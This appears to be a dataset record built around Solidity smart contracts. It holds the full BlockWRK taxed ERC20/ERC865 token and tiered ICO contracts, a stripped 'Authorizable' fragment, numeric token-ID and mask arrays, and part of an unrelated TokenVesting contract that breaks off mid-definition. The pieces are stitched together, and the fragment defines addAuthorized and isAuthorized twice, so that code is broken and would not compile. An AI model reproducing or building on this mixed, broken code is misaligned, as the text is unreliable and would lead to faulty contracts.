require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity\contracts\token\ERC20\StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts\ERC865BasicToken.sol /** * @title ERC865BasicToken * @dev Simpler version of the ERC865 token from https://github.com/adilharis2001/ERC865Demo * @author jsdavis28 * @notice ERC865Token allows for users to pay gas costs to a delegate in an ERC20 token * https://github.com/ethereum/EIPs/issues/865 */ contract ERC865BasicToken is ERC865Basic, StandardToken { /** * @dev Sets internal variables for contract */ address internal feeAccount; mapping(bytes => bool) internal signatures; /** * @dev Allows a delegate to submit a transaction on behalf of the token holder. * @param _signature The signature, issued by the token holder. * @param _to The recipient's address. * @param _value The amount of tokens to be transferred. * @param _fee The amount of tokens paid to the delegate for gas costs. * @param _nonce The transaction number. */ function _transferPreSigned( bytes _signature, address _from, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) internal { //Pre-validate transaction require(_to != address(0)); require(signatures[_signature] == false); //Create a hash of the transaction details bytes32 hashedTx = _transferPreSignedHashing(_to, _value, _fee, _nonce); //Obtain the token holder's address and check balance address from = _recover(hashedTx, _signature); require(from == _from); uint256 total = _value.add(_fee); require(total <= balances[from]); //Transfer tokens balances[from] = balances[from].sub(_value).sub(_fee); balances[_to] = balances[_to].add(_value); balances[feeAccount] = balances[feeAccount].add(_fee); //Mark transaction as completed signatures[_signature] = true; //TransferPreSigned ERC865 events emit TransferPreSigned(msg.sender, from, _to, _value); emit TransferPreSigned(msg.sender, from, feeAccount, _fee); //Transfer ERC20 events emit Transfer(from, _to, _value); emit Transfer(from, feeAccount, _fee); } /** * @dev Creates a hash of the transaction information passed to transferPresigned. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. * @return A copy of the hashed message signed by the token holder, with prefix added. */ function _transferPreSignedHashing( address _to, uint256 _value, uint256 _fee, uint256 _nonce ) internal pure returns (bytes32) { //Create a copy of the hashed message signed by the token holder bytes32 hash = keccak256(abi.encodePacked(_to, _value, _fee,_nonce)); //Add prefix to hash return _prefix(hash); } /** * @dev Adds prefix to the hashed message signed by the token holder. * @param _hash The hashed message (keccak256) to be prefixed. * @return Prefixed hashed message to return from _transferPreSignedHashing. */ function _prefix(bytes32 _hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)); } /** * @dev Validate the transaction information and recover the token holder's address. * @param _hash A prefixed version of the hash used in the original signed message. * @param _sig The signature submitted by the token holder. * @return The token holder/transaction signer's address. */ function _recover(bytes32 _hash, bytes _sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (_sig.length != 65) { return (address(0)); } //Split the signature into r, s and v variables assembly { r := mload(add(_sig, 32)) s := mload(add(_sig, 64)) v := byte(0, mload(add(_sig, 96))) } //Version of signature should be 27 or 28, but 0 and 1 are also possible if (v < 27) { v += 27; } //If the version is correct, return the signer address if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(_hash, v, r, s); } } } // File: contracts\TaxedToken.sol /** * @title Taxed token * @dev Version of BasicToken that allows for a fee on token transfers. * See https://github.com/OpenZeppelin/openzeppelin-solidity/pull/788 * @author jsdavis28 */ contract TaxedToken is ERC865BasicToken { /** * @dev Sets taxRate fee as public */ uint8 public taxRate; /** * @dev Transfer tokens to a specified account after diverting a fee to a central account. * @param _to The receiving address. * @param _value The number of tokens to transfer. */ function transfer( address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); uint256 fee = _value.mul(taxRate).div(100); uint256 taxedValue = _value.sub(fee); balances[_to] = balances[_to].add(taxedValue); emit Transfer(msg.sender, _to, taxedValue); balances[feeAccount] = balances[feeAccount].add(fee); emit Transfer(msg.sender, feeAccount, fee); return true; } /** * @dev Provides a taxed transfer on StandardToken's transferFrom() function * @param _from The address providing allowance to spend * @param _to The receiving address. * @param _value The number of tokens to transfer. */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); uint256 fee = _value.mul(taxRate).div(100); uint256 taxedValue = _value.sub(fee); balances[_to] = balances[_to].add(taxedValue); emit Transfer(_from, _to, taxedValue); balances[feeAccount] = balances[feeAccount].add(fee); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, feeAccount, fee); return true; } } // File: openzeppelin-solidity\contracts\ownership\Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts\Authorizable.sol /** * @title Authorizable * @dev The Authorizable contract allows the owner to set a number of additional * acccounts with limited administrative privileges to simplify user permissions. * Only the contract owner can add or remove authorized accounts. * @author jsdavis28 */ contract Authorizable is Ownable { using SafeMath for uint256; address[] public authorized; mapping(address => bool) internal authorizedIndex; uint8 public numAuthorized; /** * @dev The Authorizable constructor sets the owner as authorized */ constructor() public { authorized.length = 2; authorized[1] = msg.sender; authorizedIndex[msg.sender] = true; numAuthorized = 1; } /** * @dev Throws if called by any account other than an authorized account. */ modifier onlyAuthorized { require(isAuthorized(msg.sender)); _; } /** * @dev Allows the current owner to add an authorized account. * @param _account The address being added as authorized. */ function addAuthorized(address _account) public onlyOwner { if (authorizedIndex[_account] == false) { authorizedIndex[_account] = true; authorized.length++; authorized[authorized.length.sub(1)] = _account; numAuthorized++; } } /** * @dev Validates whether an account is authorized for enhanced permissions. * @param _account The address being evaluated. */ function isAuthorized(address _account) public constant returns (bool) { if (authorizedIndex[_account] == true) { return true; } return false; } /** * @dev Allows the current owner to remove an authorized account. * @param _account The address to remove from authorized. */ function removeAuthorized(address _account) public onlyOwner { require(isAuthorized(_account)); authorizedIndex[_account] = false; numAuthorized--; } } // File: contracts\BlockWRKToken.sol /** * @title BlockWRKToken * @dev BlockWRKToken contains administrative features that allow the BlockWRK * application to interface with the BlockWRK token, an ERC20-compliant token * that integrates taxed token and ERC865 functionality. * @author jsdavis28 */ contract BlockWRKToken is TaxedToken, Authorizable { /** * @dev Sets token information. */ string public name = "BlockWRK"; string public symbol = "WRK"; uint8 public decimals = 4; uint256 public INITIAL_SUPPLY; /** * @dev Sets public variables for BlockWRK token. */ address public distributionPoolWallet; address public inAppPurchaseWallet; address public reservedTokenWallet; uint256 public premineDistributionPool; uint256 public premineReserved; /** * @dev Sets private variables for custom token functions. */ uint256 internal decimalValue = 10000; constructor() public { feeAccount = 0xeCced56A201d1A6D1Da31A060868F96ACdba99B3; distributionPoolWallet = 0xAB3Edd46E9D52e1b3131757e1Ed87FA885f48019; inAppPurchaseWallet = 0x97eae8151487e054112E27D8c2eE5f17B3C6A83c; reservedTokenWallet = 0xd6E4E287a4aE2E9d8BF7f0323f440acC0d5AD301; premineDistributionPool = decimalValue.mul(5600000000); premineReserved = decimalValue.mul(2000000000); INITIAL_SUPPLY = premineDistributionPool.add(premineReserved); balances[distributionPoolWallet] = premineDistributionPool; emit Transfer(address(this), distributionPoolWallet, premineDistributionPool); balances[reservedTokenWallet] = premineReserved; emit Transfer(address(this), reservedTokenWallet, premineReserved); totalSupply_ = INITIAL_SUPPLY; taxRate = 2; } /** * @dev Allows App to distribute WRK tokens to users. * This function will be called by authorized from within the App. * @param _to The recipient's BlockWRK address. * @param _value The amount of WRK to transfer. */ function inAppTokenDistribution( address _to, uint256 _value ) public onlyAuthorized { require(_value <= balances[distributionPoolWallet]); require(_to != address(0)); balances[distributionPoolWallet] = balances[distributionPoolWallet].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(distributionPoolWallet, _to, _value); } /** * @dev Allows App to process fiat payments for WRK tokens, charging a fee in WRK. * This function will be called by authorized from within the App. * @param _to The buyer's BlockWRK address. * @param _value The amount of WRK to transfer. * @param _fee The fee charged in WRK for token purchase. */ function inAppTokenPurchase( address _to, uint256 _value, uint256 _fee ) public onlyAuthorized { require(_value <= balances[inAppPurchaseWallet]); require(_to != address(0)); balances[inAppPurchaseWallet] = balances[inAppPurchaseWallet].sub(_value); uint256 netAmount = _value.sub(_fee); balances[_to] = balances[_to].add(netAmount); emit Transfer(inAppPurchaseWallet, _to, netAmount); balances[feeAccount] = balances[feeAccount].add(_fee); emit Transfer(inAppPurchaseWallet, feeAccount, _fee); } /** * @dev Allows owner to set the percentage fee charged by TaxedToken on external transfers. * @param _newRate The amount to be set. */ function setTaxRate(uint8 _newRate) public onlyOwner { taxRate = _newRate; } /** * @dev Allows owner to set the fee account to receive transfer fees. * @param _newAddress The address to be set. */ function setFeeAccount(address _newAddress) public onlyOwner { require(_newAddress != address(0)); feeAccount = _newAddress; } /** * @dev Allows owner to set the wallet that holds WRK for sale via in-app purchases with fiat. * @param _newAddress The address to be set. */ function setInAppPurchaseWallet(address _newAddress) public onlyOwner { require(_newAddress != address(0)); inAppPurchaseWallet = _newAddress; } /** * @dev Allows authorized to act as a delegate to transfer a pre-signed transaction for ERC865 * @param _signature The pre-signed message. * @param _from The token sender. * @param _to The token recipient. * @param _value The amount of WRK to send the recipient. * @param _fee The fee to be paid in WRK (calculated by App off-chain). * @param _nonce The transaction number (stored in App off-chain). */ function transactionHandler( bytes _signature, address _from, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public onlyAuthorized { _transferPreSigned(_signature, _from, _to, _value, _fee, _nonce); } } // File: contracts\BlockWRKICO.sol /** * @title BlockWRKICO * @notice This contract manages the sale of WRK tokens for the BlockWRK ICO. * @dev This contract incorporates elements of OpenZeppelin crowdsale contracts with some modifications. * @author jsdavis28 */ contract BlockWRKICO is BlockWRKToken { /** * @dev Sets public variables for BlockWRK ICO */ address public salesWallet; uint256 public cap; uint256 public closingTime; uint256 public currentTierRate; uint256 public openingTime; uint256 public weiRaised; /** * @dev Sets private variables for custom token functions. */ uint256 internal availableInCurrentTier; uint256 internal availableInSale; uint256 internal totalPremineVolume; uint256 internal totalSaleVolume; uint256 internal totalTokenVolume; uint256 internal tier1Rate; uint256 internal tier2Rate; uint256 internal tier3Rate; uint256 internal tier4Rate; uint256 internal tier5Rate; uint256 internal tier6Rate; uint256 internal tier7Rate; uint256 internal tier8Rate; uint256 internal tier9Rate; uint256 internal tier10Rate; uint256 internal tier1Volume; uint256 internal tier2Volume; uint256 internal tier3Volume; uint256 internal tier4Volume; uint256 internal tier5Volume; uint256 internal tier6Volume; uint256 internal tier7Volume; uint256 internal tier8Volume; uint256 internal tier9Volume; uint256 internal tier10Volume; constructor() public { cap = 9999999999999999999999999999999999999999999999; salesWallet = 0xA0E021fC3538ed52F9a3D79249ff1D3A67f91C42; openingTime = 1557856800; closingTime = 1589479200; totalPremineVolume = 76000000000000; totalSaleVolume = 43000000000000; totalTokenVolume = 119000000000000; availableInSale = totalSaleVolume; tier1Rate = 100000; tier2Rate = 10000; tier3Rate = 2000; tier4Rate = 1250; tier5Rate = 625; tier6Rate = 312; tier7Rate = 156; tier8Rate = 117; tier9Rate = 104; tier10Rate = 100; tier1Volume = totalPremineVolume.add(1000000000000); tier2Volume = tier1Volume.add(2000000000000); tier3Volume = tier2Volume.add(5000000000000); tier4Volume = tier3Volume.add(5000000000000); tier5Volume = tier4Volume.add(5000000000000); tier6Volume = tier5Volume.add(5000000000000); tier7Volume = tier6Volume.add(5000000000000); tier8Volume = tier7Volume.add(5000000000000); tier9Volume = tier8Volume.add(5000000000000); tier10Volume = tier9Volume.add(5000000000000); } /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * Event marking the transfer of any remaining WRK to the distribution pool post-ICO * @param wallet The address remaining sale tokens are delivered * @param amount The remaining tokens after the sale has closed */ event CloseoutSale(address indexed wallet, uint256 amount); // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function */ function () external payable { buyTokens(msg.sender); } /** * @dev Allows ICO participants to purchase WRK tokens * @param _beneficiary The address of the ICO participant */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); //Calculate number of tokens to issue uint256 tokens = _calculateTokens(weiAmount); //Calculate new amount of Wei raised weiRaised = weiRaised.add(weiAmount); //Process token purchase and forward funcds to salesWallet _processPurchase(_beneficiary, tokens); _forwardFunds(); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Calculates total number of tokens to sell, accounting for varied rates per tier. * @param _amountWei Total amount of Wei sent by ICO participant * @return Total number of tokens to send to buyer */ function _calculateTokens(uint256 _amountWei) internal returns (uint256) { //Tokens pending in sale uint256 tokenAmountPending; //Tokens to be sold uint256 tokenAmountToIssue; //Note: tierCaps must take into account reserved and distribution pool tokens //Determine tokens remaining in tier and set current token rate uint256 tokensRemainingInTier = _getRemainingTokens(totalSupply_); //Calculate new tokens pending sale uint256 newTokens = _getTokenAmount(_amountWei); //Check if _newTokens exceeds _tokensRemainingInTier bool nextTier = true; while (nextTier) { if (newTokens > tokensRemainingInTier) { //Get tokens sold in current tier and add to pending total supply tokenAmountPending = tokensRemainingInTier; uint256 newTotal = totalSupply_.add(tokenAmountPending); //Save number of tokens pending from current tier tokenAmountToIssue = tokenAmountToIssue.add(tokenAmountPending); //Calculate Wei spent in current tier and set remaining Wei for next tier uint256 pendingAmountWei = tokenAmountPending.div(currentTierRate); uint256 remainingWei = _amountWei.sub(pendingAmountWei); //Calculate number of tokens in next tier tokensRemainingInTier = _getRemainingTokens(newTotal); newTokens = _getTokenAmount(remainingWei); } else { tokenAmountToIssue = tokenAmountToIssue.add(newTokens); nextTier = false; _setAvailableInCurrentTier(tokensRemainingInTier, newTokens); _setAvailableInSale(newTokens); } } //Return amount of tokens to be issued in this sale return tokenAmountToIssue; } /** * @dev Source of tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { totalSupply_ = totalSupply_.add(_tokenAmount); balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { salesWallet.transfer(msg.value); } /** * @dev Performs a binary search of the sale tiers to determine current sales volume and rate. * @param _tokensSold The total number of tokens sold in the ICO prior to this tx * @return The remaining number of tokens for sale in the current sale tier */ function _getRemainingTokens(uint256 _tokensSold) internal returns (uint256) { //Deteremine the current sale tier, set current rate and find remaining tokens in tier uint256 remaining; if (_tokensSold < tier5Volume) { if (_tokensSold < tier3Volume) { if (_tokensSold < tier1Volume) { _setCurrentTierRate(tier1Rate); remaining = tier1Volume.sub(_tokensSold); } else if (_tokensSold < tier2Volume) { _setCurrentTierRate(tier2Rate); remaining = tier2Volume.sub(_tokensSold); } else { _setCurrentTierRate(tier3Rate); remaining = tier3Volume.sub(_tokensSold); } } else { if (_tokensSold < tier4Volume) { _setCurrentTierRate(tier4Rate); remaining = tier4Volume.sub(_tokensSold); } else { _setCurrentTierRate(tier5Rate); remaining = tier5Volume.sub(_tokensSold); } } } else { if (_tokensSold < tier8Volume) { if (_tokensSold < tier6Volume) { _setCurrentTierRate(tier6Rate); remaining = tier6Volume.sub(_tokensSold); } else if (_tokensSold < tier7Volume) { _setCurrentTierRate(tier7Rate); remaining = tier7Volume.sub(_tokensSold); } else { _setCurrentTierRate(tier8Rate); remaining = tier8Volume.sub(_tokensSold); } } else { if (_tokensSold < tier9Volume) { _setCurrentTierRate(tier9Rate); remaining = tier9Volume.sub(_tokensSold); } else { _setCurrentTierRate(tier10Rate); remaining = tier10Volume.sub(_tokensSold); } } } return remaining; } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(currentTierRate).mul(decimalValue).div(1 ether); } /** * @dev Validation of an incoming purchase. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view { require(_beneficiary != address(0)); require(_weiAmount != 0); require(weiRaised.add(_weiAmount) <= cap); // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Calculates remaining tokens available in the current tier after a sale is processed * @param _tierPreviousRemaining Number of tokens remaining prior to sale * @param _newIssue Number of tokens to be purchased */ function _setAvailableInCurrentTier(uint256 _tierPreviousRemaining, uint256 _newIssue) internal { availableInCurrentTier = _tierPreviousRemaining.sub(_newIssue); } /** * @dev Calculates remaining tokens available in the ICO after a sale is processed * @param _newIssue Number of tokens to be purchased */ function _setAvailableInSale(uint256 _newIssue) internal { availableInSale = totalSaleVolume.sub(_newIssue); } /** * @dev Sets the current tier rate based on sale volume * @param _rate The new rate */ function _setCurrentTierRate(uint256 _rate) internal { currentTierRate = _rate; } /** * @dev Returns the remaining number of tokens for sale * @return Total remaining tokens available for sale */ function tokensRemainingInSale() public view returns (uint256) { return availableInSale; } /** * @dev Returns the remaining number of tokens for sale in the current tier * @return Total remaining tokens available for sale in the current tier */ function tokensRemainingInTier() public view returns (uint256) { return availableInCurrentTier; } /** * @dev Allows the owner to transfer any remaining tokens not sold to a wallet * @return Total remaining tokens available for sale */ function transferRemainingTokens() public onlyOwner { //require that sale is closed require(hasClosed()); //require that tokens are still remaining after close require(availableInSale > 0); //send remaining tokens to distribution pool wallet balances[distributionPoolWallet] = balances[distributionPoolWallet].add(availableInSale); emit CloseoutSale(distributionPoolWallet, availableInSale); } }
* @title Authorizable @dev The Authorizable contract allows the owner to set a number of additional acccounts with limited administrative privileges to simplify user permissions. Only the contract owner can add or remove authorized accounts. @author jsdavis28/
contract Authorizable is Ownable { using SafeMath for uint256; address[] public authorized; mapping(address => bool) internal authorizedIndex; uint8 public numAuthorized; constructor() public { authorized.length = 2; authorized[1] = msg.sender; authorizedIndex[msg.sender] = true; numAuthorized = 1; } modifier onlyAuthorized { require(isAuthorized(msg.sender)); _; } function addAuthorized(address _account) public onlyOwner { if (authorizedIndex[_account] == false) { authorizedIndex[_account] = true; authorized.length++; authorized[authorized.length.sub(1)] = _account; numAuthorized++; } } function addAuthorized(address _account) public onlyOwner { if (authorizedIndex[_account] == false) { authorizedIndex[_account] = true; authorized.length++; authorized[authorized.length.sub(1)] = _account; numAuthorized++; } } function isAuthorized(address _account) public constant returns (bool) { if (authorizedIndex[_account] == true) { return true; } return false; } function isAuthorized(address _account) public constant returns (bool) { if (authorizedIndex[_account] == true) { return true; } return false; } function removeAuthorized(address _account) public onlyOwner { require(isAuthorized(_account)); authorizedIndex[_account] = false; numAuthorized--; } }
15,854,259
[ 1, 3594, 6934, 225, 1021, 3123, 5331, 429, 6835, 5360, 326, 3410, 358, 444, 279, 1300, 434, 3312, 225, 4078, 8008, 598, 13594, 30162, 1535, 19583, 358, 16499, 729, 4371, 18, 5098, 326, 6835, 3410, 848, 527, 578, 1206, 10799, 9484, 18, 225, 3828, 20752, 291, 6030, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3123, 5331, 429, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 1758, 8526, 1071, 10799, 31, 203, 565, 2874, 12, 2867, 516, 1426, 13, 2713, 10799, 1016, 31, 203, 565, 2254, 28, 1071, 818, 15341, 31, 203, 203, 203, 565, 3885, 1435, 1071, 288, 203, 3639, 10799, 18, 2469, 273, 576, 31, 203, 3639, 10799, 63, 21, 65, 273, 1234, 18, 15330, 31, 203, 3639, 10799, 1016, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 3639, 818, 15341, 273, 404, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 15341, 288, 203, 3639, 2583, 12, 291, 15341, 12, 3576, 18, 15330, 10019, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 527, 15341, 12, 2867, 389, 4631, 13, 1071, 1338, 5541, 288, 203, 3639, 309, 261, 8434, 1016, 63, 67, 4631, 65, 422, 629, 13, 288, 203, 540, 202, 8434, 1016, 63, 67, 4631, 65, 273, 638, 31, 203, 540, 202, 8434, 18, 2469, 9904, 31, 203, 540, 202, 8434, 63, 8434, 18, 2469, 18, 1717, 12, 21, 25887, 273, 389, 4631, 31, 203, 540, 202, 2107, 15341, 9904, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 527, 15341, 12, 2867, 389, 4631, 13, 1071, 1338, 5541, 288, 203, 3639, 309, 261, 8434, 1016, 63, 67, 4631, 65, 422, 629, 13, 288, 203, 540, 202, 8434, 1016, 63, 67, 4631, 65, 273, 638, 31, 203, 540, 202, 8434, 18, 2469, 9904, 31, 203, 540, 202, 8434, 63, 8434, 18, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "./TokenVesting.sol"; contract FundsDistributor is TokenVesting { /// @notice identifier for the contract string public identifier; /** * @notice Construct a new Funds Distributor Contract * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not * @param _identifier unique identifier for the contract */ constructor(address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable, string memory _identifier) TokenVesting(beneficiary, start, cliffDuration, duration, revocable) public { identifier = _identifier; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokensReleasedToAccount(address token, address receiver, uint256 amount); event VestingRevoked(address token); event BeneficiaryChanged(address newBeneficiary); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private immutable _cliff; uint256 private immutable _start; uint256 private immutable _duration; bool private immutable _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public { require(beneficiary != address(0), "TokenVesting::constructor: beneficiary is the zero address"); // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting::constructor: cliff is longer than duration"); require(duration > 0, "TokenVesting::constructor: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting::constructor: final time is before current time"); _beneficiary = beneficiary; _revocable = revocable; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns 